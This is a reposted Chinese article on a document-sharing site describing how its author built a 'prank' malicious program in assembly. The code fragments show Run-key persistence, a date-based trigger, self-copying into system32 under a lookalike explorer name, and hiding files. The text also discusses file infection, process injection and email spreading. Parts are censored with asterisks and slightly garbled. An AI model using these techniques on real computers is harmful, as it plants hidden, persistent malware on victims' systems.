解析黑客如何编写恶意软件

2022-07-12 08:16:13   第一文档网     [ 字体: ] [ 阅读: ] [ 文档下载 ]
说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。下载word有问题请添加QQ:admin处理,感谢您的支持与谅解。点击这里给我发消息

#第一文档网# 导语】以下是®第一文档网的小编为您整理的《解析黑客如何编写恶意软件》,欢迎阅读!
编写,黑客,恶意,解析,如何

知己知彼 解析黑客如何编写恶意软件

本来想写个“红色代码Ⅳ”,不过病毒的首要特征,例如API重定位,调用GetKBase 得到Kernel32.dll的基地址,然后再调用调用GetAPIz得到病毒所需要的API,在汇编上实现这些,目前对我来说有难度。在感染过程,要考虑到什么时候感染?感染什么?感染是病毒的核心技术,病毒野蛮地把预定的可执行代码插入到正常文件中,当文件执行的时候,先执行病毒代码,或者添加一些字节。在正常的PE文件中,包括执行代码,头文件信息,数据结构以及描述的各类资源信息,病毒感染文件的时候,并没有把这些也写进去,所以要自己搜索,具体的代码,目前还不能写,但是我会参照别人写的。在传播方面,目前倒是有一个利用邮件附件传播的,在创建Base64编码等方面,我略有缺陷。

病毒不能完整的写,起码也要来个半斤的,所以,就有了这个恶意程序的编写过程.说到恶意,其实也不恶,顶多是恶作剧,仅是修改了一些注册表,设置为启动,象征性删除一些文件。本来想加入日志钩子,事件发生时,创建一个shutdown进程恶搞,不过在加进去的模块对话框后,程序进入了一个死循环。 注:程序中有些代码使用了*号代替

在程序的开头,调用_createKey子程序设置了启动的键值:

szRegKey db

''SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',0 szRegValue db ''StartPE'',0

szStr1 db "C:\WINDOWS\System32\*******.exe"

这些就是第一步所以设定的。在启动方式中,估计注册表Run启动是最脆弱的,制到启动文件夹的话,又明显。最好的办法是创建远程线程,然后打开文件管理器 xplorer.exe插入,并且还能隐藏。有个例子是隐藏窗口进程的,桌面的窗口类是“Progman”,我想插进去rundll32.exe,无奈不知道它的类,所以将就些,把目标定位注册表启动,况且这个我掌握的也比较熟悉。 在开机后,我加入了判断本地时间后发作的代码:

invoke GetSystemTime,offset lpSystemTime ***** ebx,lpSystemTime.wDay

.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx ==


7)||(ebx == 9)||(ebx == 11)||(ebx == 13)|| (ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27) ||(ebx == 29)

win32API 中,对GetSystemTime的描述是“在一个SYSTEMTIME中载入当前系统时间,这个时间采用的是‘协同世界时间’(即UTC,也叫做 GMT)格式”,参数只有一个“lpSystemTime”,并要定义一个“SYSTEMTIME”结构 “lpSystemTime SYSTEMTIME ”。如果今天是1357,9„„,2729,那么程序在开机运行的时候,就对系统进行了如下操作:复制自己到系统目录 [注:这个系统目录,我定义成"szWin db ''C:\windows\system32\exp1orer.exe'',0")所以在windows2000以下的系统,是不能复制的。

invoke GetModuleFileName,hModule,addr szDirectory,200

invoke CopyFile,addr szDirectory,addr szWin,FALSE

利用GetModuleFileName获取路径,然后调用CopyFile,复制到系统目录去。接着“call _AttribCmd”,调用了“_AttribCmd”这个子程序设置只读,隐藏属性。“_AttribCmd”代码描述如下:

_AttribCmd proc

invoke GetStartupInfo,addr stStartUp invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\ NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo ret

_AttribCmd endp

很显然,是调用了createProcess创建一个带szCmdAttrib参数的进程。这样,些用命令参数的程序,可以这样编程来运行,例如 ping,首先设定变量“szCmd db ''c:\windows\system32\ping.exe IP -t'',0”,描述代码是:

.data


***** db ''c:\windows\system32\ping.exe IP -t'',0 .data?

stStartUp STARTUPINFO

stProcInfo PROCESS_INFORMATION .code start:

invoke GetStartupInfo,addr stStartUp invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\ NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo end start




本文来源:https://www.dywdw.cn/2ebe5f335a8102d276a22fdd.html

相关推荐
推荐阅读